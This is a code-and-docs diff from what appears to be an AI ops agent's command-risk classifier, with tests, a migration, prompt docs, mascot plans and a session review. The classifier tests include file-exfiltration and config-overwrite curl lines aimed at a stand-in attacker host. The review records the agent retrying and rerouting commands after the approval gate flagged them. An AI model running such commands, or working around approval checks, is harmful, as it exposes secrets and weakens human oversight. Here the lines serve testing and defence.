return envAssignRe.ReplaceAllString(probe, "")
}
// pct exec <id> [--] <inner>
if m := pctExecRe.FindStringSubmatch(probe); m != nil {
return m[1]
}
// qm guest exec <id> [--] <inner>
if m := qmGuestExecRe.FindStringSubmatch(probe); m != nil {
return m[1]
}
// bash -c 'cmd' / sh -c "cmd" / sh -c cmd
if m := shellDashCRe.FindStringSubmatch(probe); m != nil {
// m[1] is the double-quoted form, m[2] is single-quoted, m[3] is bare.
for _, g := range m[1:] {
if g != "" {
return g
}
}
}
return probe
}
// allSegmentsReadOnly splits a compound command on chaining operators
// (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
// inspection verb. If so, the whole command is safe to auto-run. Any segment
@@ -161,14 +270,49 @@ func allSegmentsReadOnly(cmd string) bool {
if seg == "" {
continue
}
// Unwrap wrappers per-segment too — "pct exec 121 -- systemctl
// status caddy; pct exec 122 -- journalctl -u caddy" should reduce
// to two read-only segments after unwrapping each.
seg = unwrapCommand(seg)
// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
probe := seg
probe = regexp.MustCompile(`^sudo\s+`).ReplaceAllString(probe, "")
probe = regexp.MustCompile(`^(\w+=\S+\s+)+`).ReplaceAllString(probe, "")
probe = strings.TrimPrefix(probe, "sudo ")
probe = envAssignRe.ReplaceAllString(probe, "")
probe = strings.TrimSpace(probe)
// curl is handled by a dedicated check because GET (the default) is
// read-only but POST/data/upload flags are not. The general
// readOnlyLeadPattern can't distinguish these.
if curlLeadRe.MatchString(probe) {
if !curlIsReadOnly(probe) {
return false
}
continue
}
// Any output redirection makes a verb non-read-only even if the
// verb itself is (e.g. "curl url > /etc/passwd").
if redirectOutRe.MatchString(probe) {
return false
}
if !readOnlyLeadPattern.MatchString(probe) {
return false
}
}
return len(segments) > 0
}
// curlIsReadOnly returns true if a curl command performs a GET (or HEAD)
// without data/upload/output flags. POST/PUT/DELETE method overrides, -d/--data
// payloads, -F/--form uploads, -T/--upload-file transfers, and -o/--output
// file writes all disqualify the read-only path.
func curlIsReadOnly(curlCmd string) bool {
if !curlLeadRe.MatchString(curlCmd) {
return false
}
if curlMutateRe.MatchString(curlCmd) {
return false
}
if redirectOutRe.MatchString(curlCmd) {
return false
}
return true
}

View File

@@ -32,6 +32,20 @@ func TestClassifyCommand_ReadOnly(t *testing.T) {
"docker compose ps",
"docker compose top",
"docker compose config",
// curl GET is read-only (P0.1 — plans/2026-07-20-session-review-ten-sessions.md).
"curl http://192.168.8.214:5572/rc/core/stats",
"curl -fsSL https://example.com/",
"curl -I http://example.com/",
"curl --head http://example.com/",
// pct exec with a read-only inner command is now read-only (P0.1).
"pct exec 132 systemctl status rclone-backup.timer",
"pct exec 121 -- systemctl is-active caddy",
"pct exec 121 -- journalctl -u caddy -n 50",
"pct exec 121 -- bash -c 'echo hi'",
"pct exec 121 -- bash -c 'systemctl status caddy'",
"sudo pct exec 121 -- systemctl status caddy",
// qm guest exec on a VM, read-only inner.
"qm guest exec 100 -- systemctl status caddy",
}
for _, c := range cases {
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
@@ -92,7 +106,18 @@ func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
cases := []string{
"apt-get install -y nginx",
"systemctl restart caddy",
"pct exec 121 -- bash -c 'echo hi'",
// `pct exec` wrapping a mutating inner command is config_mutation
// (was previously config_mutation for ALL pct exec — now classified
// by the inner command). The inner `pct exec 121 -- bash -c
// 'systemctl restart caddy'` reduces to "systemctl restart caddy"
// which is config_mutation.
"pct exec 121 -- bash -c 'systemctl restart caddy'",
"pct exec 132 systemctl restart rclone-backup.service",
// curl with POST/data/upload flags is config_mutation (P0.1).
"curl -X POST http://192.168.8.214:5572/rc/sync/sync -d '{}'",
"curl --upload-file /etc/passwd http://example.com/upload",
"curl -o /etc/caddy/Caddyfile http://attacker.com/Caddyfile",
"curl http://example.com/ > /etc/caddy/Caddyfile",
"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
"git push origin main",
"docker compose up -d",

View File

@@ -0,0 +1,35 @@
-- 021_session_blocker_and_closed_at.up.sql
-- Track why a session ended partial/failed and when it actually closed.
-- See plans/2026-07-20-session-review-ten-sessions.md P1.5.
--
-- `blocker` is a short structured reason: "approval_timeout",
-- "classifier_overreach", "user_abandoned", "tool_error", "model_refusal",
-- etc. Set by complete_task when outcome is partial/failed, derived from the
-- last assistant message's text. Empty for success outcomes.
--
-- `closed_at` is when the session reached its terminal state. Distinct from
-- `last_active_at`, which is touched on any access (including the operator
-- just opening the transcript) — `closed_at` is set ONCE at completion.
-- Without it, "session duration" can only be computed as
-- `last_active - created`, which lies for reopened sessions (a51e2086
-- reported 4-day duration because the operator reopened it to close it).
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS blocker TEXT NOT NULL DEFAULT '';
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS closed_at TIMESTAMPTZ;
-- Backfill closed_at for already-terminal sessions so the new column isn't
-- NULL forever on existing rows. Use last_active_at as the best proxy — it's
-- the most recent touch, which is the closest we have to "when it ended"
-- for historical sessions. New sessions set closed_at explicitly on
-- complete_task.
UPDATE agent_sessions
SET closed_at = last_active_at
WHERE closed_at IS NULL
AND status IN ('done', 'failed');
-- Index for "show me partial sessions in the last N days" — the common
-- audit query. Covers the blocker column too so the planner can answer
-- "blocker breakdown over the last week" with an index-only scan.
CREATE INDEX IF NOT EXISTS idx_agent_sessions_closed
ON agent_sessions (closed_at DESC)
WHERE status IN ('done', 'failed');

View File

@@ -59,6 +59,14 @@ is a pure-DB Q&A that called *no* `run` at all (only get_entity/list_lxcs/
search_knowledge): answer directly, `complete_task` with a one-line summary,
no writeback needed.
`complete_task` auto-closes any in-flight plan steps (pending/running → done
on success, → skipped on partial/failure). You do NOT need to call
`update_plan_step` for every step right before completing — once your work
is done and writeback is recorded, just call `complete_task`. This is the
right pattern for one-step plans (greetings, single health checks, title
tests): propose_plan → answer → complete_task, skipping the per-step
running→done dance entirely.
### 7. ITERATE — follow-ups reopen the task
A `complete_task` is not the end of the conversation. If the operator sends
a follow-up on a completed session — e.g. "now look into the X you flagged"
@@ -160,6 +168,17 @@ disappear.
`declared_risk`. The `request_execution` fixed-enum tool is RETIRED
(2026-07-14) — use `run` for EVERYTHING: restarts, apt upgrades, pct exec,
pct create, any shell command. There is no named-action tool anymore.
- `classify_command` — **pre-flight check before `run` when you're unsure
whether a command will auto-execute or need approval.** Pass the exact
command (and optional `declared_risk`); get back the risk class that `run`
would assign. Use it whenever you're composing `pct exec`, `curl`, or any
compound command — these are the cases where the classifier's verdict
isn't obvious from the verb alone. If `classify_command` says `read_only`,
`run` will auto-execute; if it says `config_mutation`, reframe the command
or expect to need approval. **Do NOT submit a `run`, get it queued for
approval, and then retry with cosmetic variations** — that produces
duplicate queued approvals and wastes turns. Pre-classify, adjust, then
submit once.
- `http_get` — fetch a public web page / GitHub README / raw file and get sanitized text.
You CAN read the internet with this. When asked to deploy a service from a URL or repo,
call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its

View File

@@ -1,6 +1,48 @@
# 2026-07-20 — Desktop mascot ("Cluck")
**Status:** Planned
**Status:** Implemented
> **Deviations from the original plan, applied 2026-07-20 during
> implementation:**
> - **Hatching is no longer timed.** The egg → chick transition fires
> once, on first naming (the name dialog opens on first mount of a
> fresh egg; submitting it calls `forceHatch()`). `HATCH_MS` is gone,
> `tickLifecycle` no longer advances `hatchProgress`, and the egg no
> longer plays a progressive `egg-crack` animation — it sits on
> `egg-idle` until named. `hatchProgress` is retained as a binary
> 0/1 flag so `advanceStageIfReady()` and the debug "Force hatch"
> action still work.
> - **Sprite art is PNG-sheet-based, not code-drawn pixel grids.** The
> chicken comes from a CC0 16x16 sprite-sheet pack at
> `web/public/mascot/`; the egg comes from the Onocentaur egg pack
> (also CC0). `palette.ts` was removed; `render.ts` slices 16x16
> frames from sheets instead of painting string grids. Chick and
> adult share sheets (distinguished only by render scale) until
> distinct adult art is added.
> - **The radial menu is a rounded-button column, not a circular
> ring.** The plan's polar-layout ring was found to hide labels; the
> menu now mirrors the desktop's own right-click menu styling
> (full-text buttons, nested via a "Back" breadcrumb).
> - **The sprite loop runs at ~60fps** (16ms `setTimeout`), not 30fps.
> Drag and fall motion at 30fps looked choppy on 60Hz+ displays. The
> `setTimeout`-not-`rAF` convention is preserved; `dt` is still
> clamped to 100ms. Position is applied via `transform: translate3d`
> + `will-change: transform` (compositor layer) instead of CSS
> `left`/`top` to avoid per-frame layout reflow.
> - **Egg-stage reactions are suppressed.** The stimulus bus still
> subscribes to chat/activity/events while the egg is on screen, but
> MascotLayer's emit callback drops any reaction when
> `model.stage === 'egg'` — the egg isn't "alive" yet, so playing
> alarm/eureka animations behind the naming dialog would be jarring.
> - **The mascot walks on top of windows.** The ground line is
> recomputed each tick from `wmState`: it's the top edge of the
> highest non-minimized window whose horizontal span covers the
> mascot's x, or the surface bottom when no window is beneath. When
> the mascot strolls over a window, the ground rises to that
> window's top edge; when it walks off the side, the ground drops
> and it flutter-falls to the next surface beneath (another window,
> or the desktop). This generalizes the original "walks along the
> desktop surface's bottom edge" decision to a multi-surface model.
## Why
@@ -181,9 +223,11 @@ export function forceBehavior(rt: MascotRuntime, id: BehaviorId, opts?: { anim?:
`weight` and are entered only via `forceBehavior()` — pointer code calls
it for `dragged`, gravity logic for `falling`, the stimulus bus for
`react`.
- **Egg stage**: `behavior` locked to `'egg'` (periodic `egg-wiggle`,
`egg-crack` as `hatchProgress` nears 1); dragging is still allowed (the
egg can be picked up and moved).
- **Egg stage**: `behavior` locked to `'egg'` (renders `egg-idle`,
wiggles gently via a render-time transform); dragging is still
allowed (the egg can be picked up and moved). The egg → chick
transition fires once, on first naming — see the deviation note at
the top of this plan.
- Loop lives in `Mascot.svelte`: `setTimeout(() => tick(performance.now()),
33)` inside an `$effect`, cleared on teardown, `dt` clamped to 100ms.
@@ -195,14 +239,13 @@ export interface MascotModel {
version: 1
stage: MascotStage
name: string | null
hatchProgress: number // 0..1, egg stage only
hatchProgress: number // binary 0/1: 0 until first naming, 1 after (egg stage only)
happiness: number // 0..100, slow decay, boosted by pet/feed
xp: number // chick -> adult growth hook
hatchedAt: number | null
lastPos: { x: number } | null
lastSeen: number // for capped offline egg-incubation progress
lastSeen: number // for capping passive decay
}
export const HATCH_MS = 3 * 60_000 // active time to hatch (demo-friendly)
export const ADULT_XP = 200
export function grantXp(n: number): void
export function feed(): void
@@ -210,6 +253,7 @@ export function pet(): void
export function setName(name: string): void
export function tickLifecycle(dt: number): void // called ~1x/sec, not per frame
export function advanceStageIfReady(): void
export function forceHatch(): void // called by the name-dialog submit handler on first naming
```
- `load()` parses `localStorage['oikos-mascot']`, checks `version`, falls
@@ -220,6 +264,11 @@ export function advanceStageIfReady(): void
debounce, plus a `beforeunload` flush so a quick reload doesn't lose a
rename. `lastPos.x` is written only on behavior transitions and
drag-end, never per frame.
- The egg → chick transition is **not** timed: a fresh egg (stage=egg,
name=null) opens the name dialog on mount; submitting it calls
`forceHatch()` which sets `hatchProgress=1` and `setStage('chick')`.
Returning users with a named mascot skip the dialog. See the deviation
note at the top of this plan.
- Multi-tab races (two tabs both writing `oikos-mascot`) are
last-writer-wins — accepted for this scaffolding, not solved; a future
pass could listen to the `storage` event if it becomes a real problem.
@@ -293,6 +342,12 @@ Initial wiring:
unsubscribe into the returned teardown, so the mascot keeps the SSE
stream open (ref-counted alongside any page that also subscribes) only
while mounted.
- **Egg-stage reactions are suppressed.** MascotLayer's stimulus
callback drops any reaction when `model.stage === 'egg'` — the egg
isn't "alive" yet (no name, no hatched chick to react), so stimulus
events are silently ignored until the egg hatches. This keeps the egg
calm during the naming dialog rather than playing alarm animations
behind it.
- On first emission of `liveEvents`, just record the head event id — do
not replay history as reactions on mount.
- Dispatch: `emit(reaction)` checks the cooldown map and

View File

@@ -0,0 +1,303 @@
# 2026-07-20 — Mascot physics/window-interaction audit + improvement plan
**Status:** P0P2 implemented. P3 partially implemented: the physics-feel
round shipped (panic-flap cycle with speed scaling + jitter, soft
terminal-velocity drag, one-bounce impact restitution, landing skid, wall
ricochet, squash-and-stretch impact spring, air/drag tilt, walk bob,
impact feather-poof particles, and a new idle-selectable `hop` behavior —
all in `behavior.ts` + `Mascot.svelte`'s render layer, no new assets).
The remaining P3 feature ideas (investigate badges, startle-and-flee, a
"home" spot, round radial menu v2, distinct adult art) stay open.
**Verification of the fixes** (re-ran this document's own instrumented
tests against the fixed code):
- Case A (window closes under the mascot): position now falls smoothly
over ~2.53s with visible x-drift (e.g. bottom went 84→87→104→125→...→912
across ~3.3s), instead of jumping straight to the floor in one tick.
- Case B (window opens over a grounded mascot with a gap beneath it): the
mascot stayed pinned to the floor (`bottom: 950`) for 2.6s straight while
standing under an open window whose top was far above it — no snap-up at
all.
- Toss momentum: a fast upward-and-sideways release made the sprite keep
*rising* for several frames after pointerup before gravity won, then fall
with visible deceleration bumps roughly every ~550ms (the flap cycle)
instead of a flat monotonic increase.
- No new console errors; `npm run build` stays clean.
Companion to [plans/2026-07-20-desktop-mascot.md](2026-07-20-desktop-mascot.md)
(the original scaffolding plan, now implemented) and
[docs/mascot/README.md](../docs/mascot/README.md) (the MBSE model). This
document is a post-implementation review: static code read of every file
under `web/src/lib/mascot/`, plus live testing in the browser (dragging,
opening/closing/moving windows under the mascot, the radial menu, hatching),
including two tests instrumented with synthetic pointer events + high-frequency
position polling to get hard timing data rather than guessing from a laggy
screenshot loop.
## Summary
The scaffolding (registries, FSM shape, persistence, stimulus bus) is sound
and matches the original plan's architecture. The actual **physics is where
it falls short of feeling alive**, for one root cause plus a few smaller
gaps:
**The mascot doesn't actually fall in the cases that matter most — it
teleports.** The only code path where a real, animated fall happens is
"user drags it into the air and lets go." Every other ground-change case
(a window closes or moves out from under it, a window opens or moves under
it, it walks off a window's edge) snaps its position instantly, with zero
animation, because of one specific piece of logic in `Mascot.svelte`. This
was proven with instrumented timing data, not just read from the source —
see Finding 1.
## How this was tested
- Read every file in `web/src/lib/mascot/` (behavior.ts, Mascot.svelte,
MascotLayer.svelte, state.svelte.ts, stimuli.ts, sprites.ts, render.ts,
actions.ts, RadialMenu.svelte, NameDialog.svelte, types.ts).
- Ran the app (`npm run dev`), hatched a chick, and interactively tested:
drag-and-release at various heights, opening/closing/dragging a window
under the mascot, the right-click menu (including nested Feed), plain-click
pet, and the hatch dialog.
- For the two timing-sensitive claims below, screenshot-based verification
was too slow/laggy to distinguish "instant teleport" from "fast but real
fall" — so both were re-verified with a single `javascript_exec` call that
dispatches synthetic `PointerEvent`s to drag the mascot precisely onto a
window, then clicks that window's close button and polls
`canvas.getBoundingClientRect()` every ~65ms for 2+ seconds, all inside one
script (no inter-call latency to contaminate the result).
- `npm run build` passes with no new warnings.
## Findings
### Finding 1 (Critical) — Ground changes teleport the mascot instead of animating a fall or rise
**Root cause**, `web/src/lib/mascot/Mascot.svelte` `tick()` (~lines 111-131):
every tick, `computeGroundAt(runtime.x)` recomputes the ground line, and if
the mascot is "grounded" (not already `falling`/`dragged`) and the ground
changed at all, this runs unconditionally:
```js
if (runtime.behavior !== 'falling' && runtime.behavior !== 'dragged' &&
runtime.y >= prevGroundY - 1 && newGround !== prevGroundY) {
runtime.y += newGround - prevGroundY // instant, any magnitude, either direction
}
```
This was meant to make the mascot "ride along" smoothly while a window it's
standing on is being dragged (and it does do that correctly — verified,
see below). But it fires for *any* ground change, not just a smooth drag,
and it runs *before* `stepMascot()`/`behavior.ts` gets a chance to notice
"I'm now floating" and start a real `falling` behavior — so the FSM's own
fall-detection in the `wander`/`idle` cases
(`if (rt.y < groundY(rt) - 1) forceBehavior(rt, 'falling')`) never actually
fires; by the time it runs, `runtime.y` has already been silently snapped to
match.
**Proven case A — window closes underneath the mascot (should fall):**
dragged the mascot onto an open window's title bar via synthetic pointer
events (landed cleanly: sprite bottom = 96px = window top = 96px), then
clicked the window's close button and polled position every 65ms:
| t (ms) | sprite bottom (px) |
|---|---|
| 0 (before close) | 96 |
| 67 | **950** (floor) |
| 132 2000 | 950 (unchanged) |
The coded physics (gravity 1400 px/s², capped at 320 px/s) would take
**~2.8 seconds** to fall 854px. It happened in **under 67ms** — an instant
snap, not a fall. No `falling`/`land` animation plays.
**Proven case B — window opens/overlaps underneath a grounded mascot
(should NOT rise, or should climb visibly):** with the mascot standing on
the empty desktop floor (bottom = 950px), opened the Tasks window (which
renders top=71px, bottom=751px at that position — its underside never
reaches the floor, leaving a ~200px gap). Within 150ms, the mascot's sprite
bottom was already **71px** — snapped straight up onto the new window's
title bar, 880px in under 150ms, despite the window's bottom edge (751px)
never actually touching the mascot's original position. `computeGroundAt()`
has no check that the candidate window is anywhere near the mascot's
*current* position — it just returns the topmost window overlapping the
mascot's x column, full stop, so any window opening/moving/resizing
anywhere in that column instantly relocates the mascot to its top edge, no
matter the vertical distance.
**What does work correctly:** dragging an already-mascot-bearing window
smoothly (title-bar drag, not open/close) — the ride-along correctly
translates the mascot's y by the same delta as the window moves, so it
visually "stands" on the window through the drag. Also, manual drag-and-drop
of the mascot itself (pick it up, release above ground) *does* enter a real,
animated `falling``land``idle` sequence, because that path is driven
entirely by `releaseFromDrag()` from the pointer handler, which isn't
touched by the tick-level snap.
**Fix direction:** `computeGroundAt` needs to return the highest surface
*at or below* the mascot's current `y* (a downward raycast from the current
position), not the global topmost window in the column. Separately, the
tick-level "ride along" needs to distinguish *small, continuous* deltas
(the window carrying the mascot while being dragged — legitimate instant
translation) from *large or discontinuous* ones (a window appearing,
disappearing, or the mascot walking off an edge — should hand off to
`forceBehavior(rt, 'falling')` for a downward change, and a short new
`rising`/hop transition for an upward one, not a silent teleport in either
direction).
### Finding 2 (Critical) — the one real fall is a flat, straight drop; this is the user's specific complaint
Even in the one path that *does* animate (manual drag-release), the fall
itself has no attempt at flight:
- `falling.enter()` in `behavior.ts` hard-sets `rt.vx = 0` — zero horizontal
drift, ever.
- `fall-flutter`'s animation is just `jump.png` on a loop
(`sprites.ts`) — the *name* says flutter, the physics is a monotonic
`vy = min(TERMINAL_VY, vy + GRAVITY*dt)` capped fall, no oscillation, no
upward impulses.
- There's an already-defined, already-loaded `flap` animation
(`jump.png` again, distinct `AnimName`) that **no behavior ever
references** — it's dead weight in the registry right now.
This is exactly the "not always fall directly, try to fly a little" ask.
### Finding 3 (Critical) — no toss/throw momentum on release
The original plan called for tracking recent pointer deltas during a drag
and using them to give the release a real velocity (a toss/arc). The
shipped `onPointerUp`/`onPointerMove` in `Mascot.svelte` track no pointer
history at all — releasing while moving fast imparts nothing; the mascot
just drops straight down from wherever the pointer let go, same as a slow
release.
### Finding 4 (Moderate) — sprite/name/bubble clip off-screen near the top edge
The mascot's canvas is 20×28 logical px (extra headroom above the sprite
for the name label and reaction bubble), positioned bottom-anchored at
`runtime.y`. When the ground is near the top of the viewport (e.g.
standing on a window whose title bar sits close to `y=0`, which is common
for a freshly-opened window), the canvas — and the name label, positioned
even further above it — render partially or fully off-screen.
Reproduced directly: standing on a window with top=32px clipped the
sprite from `y=-52` to `y=32`, more than half invisible above the browser
viewport.
### Finding 5 (Minor) — `interruptsSleep` is defined but never read
`stimuli.ts`'s `ReactionDef.interruptsSleep` (set `true` only on `alarmed`)
documents an intended rule ("sleep is broken only by reactions that opt
in"), but nothing in `MascotLayer.svelte`'s dispatch callback or
`behavior.ts` ever reads it — every reaction unconditionally calls
`forceBehavior(runtime, 'react', ...)` regardless of current behavior.
Practically, this also means a reaction can visually interrupt an active
**drag** (the sprite briefly shows a reaction animation mid-drag, though
position tracking is unaffected since that's driven separately by the
pointer handler) — the documented "`dragged` always wins" rule isn't
enforced either.
### Finding 6 (Cosmetic / scope gap) — radial menu isn't round
The implementing agent deviated from the original "round, Sims-style"
requirement to a vertical rounded-button column (documented in the plan's
deviation note — the polar ring layout hid labels). It works correctly,
including nesting, but it's a direct miss against what was asked for. Worth
a deliberate decision: keep the readable column, or revisit a true ring
with icon-only buttons + a hover/center text readout.
### Finding 7 (Minor) — first-hatch naming can be dismissed with no easy way back
`NameDialog`'s Escape handler always calls `onCancel`, which just closes it
— on the very first hatch prompt (no `Cancel` button is shown in `hatch`
mode, but Escape still works via the window-level listener), a user who
hits Escape is left with an unnamed, un-hatched egg and no obvious way to
reopen the dialog short of reloading or finding the Debug → Force hatch
menu action.
## Improvement plan
Ordered by priority; 13 directly address the user's stated complaints.
### P0 — Fix the ground-detection/teleport bug (Finding 1)
1. Change `computeGroundAt(x)` to only consider a window a ground candidate
if its top edge is **at or below** the mascot's current `y` (plus a
small tolerance for the "about to land on it" case) — i.e. the nearest
surface *underneath*, not the global topmost overlapping window.
2. Replace the unconditional `tick()`-level position snap with a threshold
check: deltas under ~4px/tick (a window being smoothly dragged with the
mascot riding it) still translate instantly; anything larger routes
through `forceBehavior(rt, 'falling')` (ground dropped) or a new short
`rising` behavior (ground rose — a quick hop/flutter-up, not a snap).
3. This also fixes the FSM's existing (currently unreachable) `wander`/`idle`
fall-detection — once the snap isn't preempting it, that code path
should work as originally intended.
### P1 — Make falling actually look like an attempt at flight (Findings 2 & 3)
4. Wire the unused `flap` animation into `falling`: instead of one
continuous `fall-flutter` loop, alternate short `flap` bursts (each
burst applies a brief small negative `vy` impulse — a wing-beat that
measurably slows the descent for a few frames) with `fall-flutter` glide
segments. Net effect: still descends, but in a scalloped, fluttering
arc rather than a flat monotonic line — reads as "trying to fly, not
quite making it" rather than "dropped like a rock."
5. Add a small horizontal drift during `falling` (e.g. a slow sine wobble
or a fraction of the pre-release pointer velocity — see next point) so
the fall isn't perfectly vertical either.
6. Track a short rolling history of pointer positions during `dragged`
(last ~100ms of `onPointerMove` samples is enough) and derive a release
velocity from it in `onPointerUp`; feed that into `falling`'s initial
`vx`/`vy` instead of hard-zeroing them, so a fast toss actually arcs.
### P2 — Cosmetic/correctness cleanups (Findings 4, 5, 7)
7. Clamp the sprite's screen-space draw position (or reserve top margin on
the surface) so the canvas/name/bubble never render above `y=0`,
independent of where the logical ground sits.
8. Either wire `interruptsSleep`/a drag-guard into the reaction dispatch
path in `MascotLayer.svelte` (skip forcing `react` while
`runtime.behavior === 'dragged'`, and gate sleep-interruption on the
flag as documented), or remove the field if the current
always-interrupts behavior is actually preferred — right now it's an
unenforced contract, which is worse than either explicit choice.
9. On first hatch, prevent the naming dialog from being fully dismissed
without a name (or make it trivially reopenable — e.g. clicking the
still-unnamed egg reopens it) rather than requiring a reload/debug
menu to recover.
### P3 — Ideas worth considering ("cool stuff")
Not committed, listed for discussion:
- **Investigate badges**: have the mascot occasionally walk toward a
desktop icon that currently has an unread badge (Signals, Operations)
and peck at it curiously — a very literal, delightful expression of
"aware of its environment" using icon positions already in
`stores/icons.ts`.
- **Startle-and-flee on alarm**: instead of a static `react-alarm` frame,
have the `alarmed` reaction actually scurry the mascot a short distance
(reuse `wander`-style motion) before settling, more visceral than a
still reaction sprite.
- **A "home" spot**: remember a preferred idle location (e.g. near its
hatch point or a favorite window) and occasionally wander back to it,
giving its roaming a sense of place rather than pure randomness.
- **True round radial menu v2**: revisit Finding 6 with icon-only buttons
on an actual ring and a text label in a tooltip/center readout on
hover/focus — closer to the original ask while keeping labels legible
(the problem the first attempt hit).
- **Distinct adult sprite** (already flagged as deferred polish in the
original plan's deviation note) — currently chick and adult share art.
## Verification (once fixed)
- Re-run this document's two instrumented tests (drag-onto-window-then-close;
open-window-over-grounded-mascot) and confirm the position samples show a
smooth multi-frame transition instead of a single-tick jump.
- Manually: drag the mascot up and release with a fast flick — confirm it
arcs/drifts rather than dropping straight down, and that `flap` frames
visibly appear during the descent.
- Stand the mascot on a window, drag that window so its title bar approaches
`y=0` — confirm the sprite/name/bubble stay on-screen.
- Trigger a reaction (e.g. force an `eureka`) while mid-drag — confirm the
sprite keeps showing the `dragged` animation, not the reaction, until
released (if Finding 5 is fixed by enforcing the guard).
- `npm run build` stays clean.

View File

@@ -0,0 +1,332 @@
# 2026-07-20 — Session review: past 10 sessions
**Status:** Implemented — all P0/P1/P2 items landed in v0.7.13.
**Scope:** Ten most-recently-active `agent:nomos` sessions by
`last_active_at`, pulled from `http://localhost:8092/sessions` on
2026-07-20. Method per `.agents/skills/session-review/SKILL.md`. Three
(`1e9c7691`, `55927f0a`, `2926de4e`) overlap with the 2026-07-18 review
and are summarized; the other seven are new.
---
## Sessions reviewed
| # | sid | goal (short) | outcome | msgs | toolcalls | top tools |
|---|---|---|---|---|---|---|
| 1 | `a51e2086` | reset rclone-backup & re-run | **partial** | 12 | 20 | run:7, set_goal:2, propose_plan:2, get_execution_status:2 |
| 2 | `fefa4fa3` | fix rclone OOM | success | 9 | 84 | run:28, update_plan_step:15, get_entity:8, list_entities:5 |
| 3 | `95fdd322` | quick fleet health check | success | 3 | 6 | get_health_summary/state_snapshot/list_lxcs/signal_history |
| 4 | `8c76bb3a` | greeting + title-sync test | success | 2 | 9 | update_plan_step:4, propose_plan, whoami, get_state_snapshot |
| 5 | `438ec8bd` | (no goal set) greeting | success | 2 | 2 | whoami, get_health_summary |
| 6 | `8acea2e3` | inspect rclone timer (live) | **partial** | 4 | 19 | run:6, update_plan_step:5, propose_plan, get_entity_knowledge |
| 7 | `1e9c7691` | debug chown hang on strong | success | 13 | 97 | run:60, update_plan_step:7, get_execution_status:7 |
| 8 | `55927f0a` | add NFS ludo-lvm → ZimaOS | success | 25 | 104 | run:49, update_plan_step:13, get_entity:10 |
| 9 | `2926de4e` | apt upgrade host:netbird-vps | success | 9 | 27 | update_plan_step:7, run:6, search_knowledge:2 |
| 10 | `cb8c8a4a` | inspect rclone timer (live) | success | 2 | 14 | update_plan_step:4, run:4, get_entity_knowledge |
**Score: 8 success / 2 partial / 0 blocked. No message exceeded 2.8 KB.**
---
## What worked
- **Read-only DB Q&A is now clean.** `95fdd322` and `438ec8bd` did exactly
what the 2026-07-18 review asked: pure-DB question →
`get_health_summary` + `get_state_snapshot` + `list_lxcs`, no `run`.
The agent even narrates "This is a pure-DB Q&A — no `run` calls needed."
- **Knowledge writeback hygiene continues.** Every long-running session
did `upsert_knowledge` + `update_entity_attributes` + `create_relationship`
when applicable. The graph is current.
- **Plan lifecycle is followed everywhere** — `set_goal``propose_plan`
`update_plan_step``complete_task`. Even trivial sessions (greeting)
follow it.
- **Poll-after-timeout pattern** is now the default — `fefa4fa3` after
the rclone LXC reboot, `2926de4e` after the apt upgrade. No more blind
retry storms like the 2026-07-18 chown case.
- **The rclone saga ended well** (`fefa4fa3`): root cause (2 GiB LXC OOM)
was diagnosed via DB + live check; fix (pct set 2→4 GiB) was applied;
test backup verified 245 transfers / 4 min / no OOM.
## What didn't
### 1. The rclone objective took three sessions to close (blocker)
Same operator goal — "rclone backup is broken" — spawned `a51e2086`
(partial), `8acea2e3` (partial), `cb8c8a4a` (success), and finally
`fefa4fa3` (success). The first three were the agent trying to inspect
the live systemd state and bouncing off the classifier:
- `8acea2e3`: `pct exec 132 systemctl status rclone-backup.timer`
flagged `config_mutation` — sat in approval limbo until the user moved
on.
- `a51e2086`: `curl http://192.168.8.214:5572/rc/...` (read-only RC API)
flagged `config_mutation`. The agent kept reframing; user said "lets
just close this session."
- `cb8c8a4a`: same goal, eventually succeeded — but only after the agent
found a different path.
- `fefa4fa3`: only when the user escalated to "fix it so the backup
works" did the agent pivot to the actual root cause (memory).
This is the single biggest friction point in the batch.
### 2. Classifier overreach on read-only `pct exec` / `curl` (blocker)
The preflight classifier in `internal/policy` matches command substrings
(`pct exec`, `curl`, `dd`, etc.) without parsing the actual command. A
read-only `systemctl status` becomes `config_mutation`. The agent has
no tool to ask "classify this command before I send it" — it just keeps
retrying with cosmetic changes until the user bails.
### 3. `update_plan_step` is the second-largest tool bucket (cosmetic → friction)
Across 10 sessions: `run` ~199, `update_plan_step` ~57. That's ~22% of
all tool calls spent on bookkeeping. For a 2-message greeting session
(`8c76bb3a`) the agent still called `update_plan_step` ×4 plus
`propose_plan`. The scaffolding is louder than the work.
### 4. `pending_approvals` doesn't match reality (cosmetic, but misleading)
`a51e2086` summary literally says *"Both commands are queued"* — yet
`pending_approvals=0`. The field is `hasPendingApprovals`
(`store.go:962`) which only counts executions currently in
`pending_approval` state; once they're cancelled/expired it drops to 0
even though the session was *blocked* by approvals. As an audit signal
it lies. A session can be `outcome=partial` because of approval
friction without `pending_approvals` ever being non-zero at review time.
### 5. Title is still the first sentence of the first assistant message (cosmetic)
`"Assent window is open — executing the plan\n\nMemory bumped:
4294967296..."` is not a useful label. Same complaint applies to
`8c76bb3a` ("Hey! 👋 Nomos here, running on mac-mini:8092...") and
`95fdd322` ("This is a pure-DB Q&A — no `run` calls needed..."). The
list view ends up being unreadable without opening each row.
### 6. Goal field empty on one session (`438ec8bd`) (cosmetic)
`set_goal` was never called for the bare greeting. Minor, but it means
the session is unsearchable by goal text.
---
## Ease of getting session details
I had to write Python+curl to audit 10 sessions. The pain points:
1. **Two endpoints must be merged by hand.** `/sessions` returns
metadata (`title`, `goal`, `outcome`, `summary`, `status`,
`pending_approvals`, timestamps) but **no message/tool counts**.
`/sessions/{id}` returns **only** `session_id` + `messages` — no
metadata at all. `cmd/nomos/eval/main.go:302-303` already carries a
comment complaining about this ("only session_id + messages"). Any
consumer has to do the same join I did.
2. **No aggregates on the list endpoint.** `message_count`,
`tool_call_count`, `top_tools`, `duration` — all require fetching
every session's full transcript and walking the message tree. For
10 sessions that's 10 extra HTTP round trips and ~600 KB of JSON
parsed client-side. For a fleet audit at scale it's quadratic.
3. **No filtering or pagination on `/sessions`.** It returns every
session in one shot. The skill's own script does `.sessions[:5]` and
`.sessions[:10]` client-side.
4. **Tool calls are nested two levels deep**
(`messages[].content.tool_calls[].name`) with `content` stored as
